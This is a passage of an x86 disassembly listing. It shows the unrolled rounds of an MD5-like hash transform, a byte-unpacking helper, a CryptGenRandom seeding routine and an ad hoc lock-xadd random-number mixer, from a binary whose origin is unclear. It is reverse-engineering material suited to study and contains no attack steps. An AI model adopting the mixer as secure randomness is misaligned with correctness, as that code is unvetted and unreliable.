		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-275E197Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-182C0438h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+21E1CDE6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3CC8F82Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0B2AF279h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+455A14EDh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-561C16FBh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3105C08h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+676F02D9h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-72D5B376h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5C6BEh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-788E097Fh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+6D9D6122h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-21AC7F4h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5B4115BCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4BDECFA9h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-944B4B0h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-41404390h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+289B7EC6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-155ED806h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-2B10CF7Bh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4881D05h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-262B2FC7h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1924661Bh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+1FA27CF8h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3B53A99Bh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0BD6DDBCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+432AFF97h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-546BDC59h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-36C5FC7h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+655B59C3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-70F3336Eh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-100B83h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-7A7BA22Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6FA87E4Fh]

loc_41005C:				; DATA XREF: BrattyUS:off_41A8CCo
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1D31920h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5CFEBCECh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4E0811A1h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-8AC817Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-42C50DCBh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+2AD7D2BBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-14792C6Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax
		leave
		retn
sub_40F3CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410244	proc near		; CODE XREF: sub_40F3CE+Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_410263
; ---------------------------------------------------------------------------

loc_410253:				; CODE XREF: sub_410244+66j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax

loc_410263:				; CODE XREF: sub_410244+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_4102AC
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+1]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+2]
		shl	ecx, 10h
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+3]
		shl	ecx, 18h
		or	eax, ecx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		jmp	short loc_410253
; ---------------------------------------------------------------------------

locret_4102AC:				; CODE XREF: sub_410244+25j
		leave
		retn
sub_410244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102AE	proc near		; CODE XREF: sub_4167F1+DFp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0F0000000h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_417024	; CryptAcquireContextA
		push	offset dword_41EBAC
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EBB0
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EBB4
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EBB8
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	0
		push	[ebp+var_4]
		call	dword_41701C	; CryptReleaseContext
		leave
		retn
sub_4102AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410318	proc near		; CODE XREF: sub_4103F5+6p
					; sub_410422+6p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		lock xadd dword_41EBAC,	eax
		add	eax, ebx
		lock xadd dword_41EBB0,	eax
		add	eax, ecx
		lock xadd dword_41EBB4,	eax
		add	eax, edx
		lock xadd dword_41EBB8,	eax
		add	eax, esi
		lock xadd dword_41EBAC,	eax
		add	eax, edi
		lock xadd dword_41EBB0,	eax
		add	eax, ebp
		lock xadd dword_41EBB4,	eax
		add	eax, esp
		lock xadd dword_41EBB8,	eax
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lock xadd dword_41EBAC,	eax
		lock xadd dword_41EBB0,	eax
		lock xadd dword_41EBB4,	eax
		lock xadd dword_41EBB8,	eax
		add	ecx, ebx
		ror	ebx, cl
		lock xadd dword_41EBB4,	ebx
		add	ecx, ecx
		ror	ecx, cl
		lock xadd dword_41EBB0,	ecx
		add	ecx, edx
		ror	edx, cl
		lock xadd dword_41EBAC,	edx
		rol	eax, cl
		add	ecx, eax
		ror	ebx, cl
		add	ecx, ebx
		ror	ecx, cl
		add	ecx, 211h
		rol	edx, cl
		add	ecx, edx
		lock xadd dword_41EBB8,	edx
		lock xadd dword_41EBB4,	ecx
		lock xadd dword_41EBB0,	ebx
		lock xadd dword_41EBAC,	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103F5	proc near		; CODE XREF: sub_4020C2+10Bp
					; sub_4040E8+2Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EBB8,	eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+arg_0]
		xor	edx, edx
		inc	ecx
		div	ecx
		mov	eax, edx
		add	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4103F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410422	proc near		; CODE XREF: sub_40CF2F:loc_40CFBCp
					; sub_40D871+D3Fp ...
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EBB8,	eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41043F	proc near		; CODE XREF: sub_4055E5+715p
					; sub_4055E5+78Bp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EBB4,	eax
		and	eax, 0FFFFh
		pop	edi
		pop	esi
		pop	ebx
